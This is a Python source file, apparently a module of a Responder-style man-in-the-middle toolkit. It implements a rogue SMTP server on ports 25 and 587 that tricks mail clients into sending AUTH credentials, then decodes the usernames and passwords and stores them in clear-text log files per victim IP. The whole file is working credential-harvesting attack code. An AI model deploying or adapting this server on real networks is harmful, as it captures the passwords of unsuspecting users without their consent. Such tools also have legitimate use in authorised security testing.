import logging import threading from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler from base64 import b64decode from SMTPPackets import * from core.responder.common import * from core.logger import logger formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("SMTPserver", formatter) class SMTPserver(): def serve_thread_tcp(self, port): try: server = ThreadingTCPServer(("0.0.0.0", port), ESMTP) server.serve_forever() except Exception as e: log.error("Error starting TCP server on port {}: {}".format(port, e)) #Function name self-explanatory def start(self): log.debug("online") t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,)) t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,)) for t in [t1, t2]: t.setDaemon(True) t.start() class ThreadingTCPServer(ThreadingMixIn, TCPServer): allow_reuse_address = 1 def server_bind(self): TCPServer.server_bind(self) #ESMTP server class. class ESMTP(BaseRequestHandler): def handle(self): try: self.request.send(str(SMTPGreating())) data = self.request.recv(1024) if data[0:4] == "EHLO": self.request.send(str(SMTPAUTH())) data = self.request.recv(1024) if data[0:4] == "AUTH": self.request.send(str(SMTPAUTH1())) data = self.request.recv(1024) if data: Username = b64decode(data[:len(data)-2]) self.request.send(str(SMTPAUTH2())) data = self.request.recv(1024) if data: Password = b64decode(data[:len(data)-2]) Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" WriteData(Outfile,Username+":"+Password, Username+":"+Password) #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password)) except Exception as e: log.error("Error handling request: {}".format(e))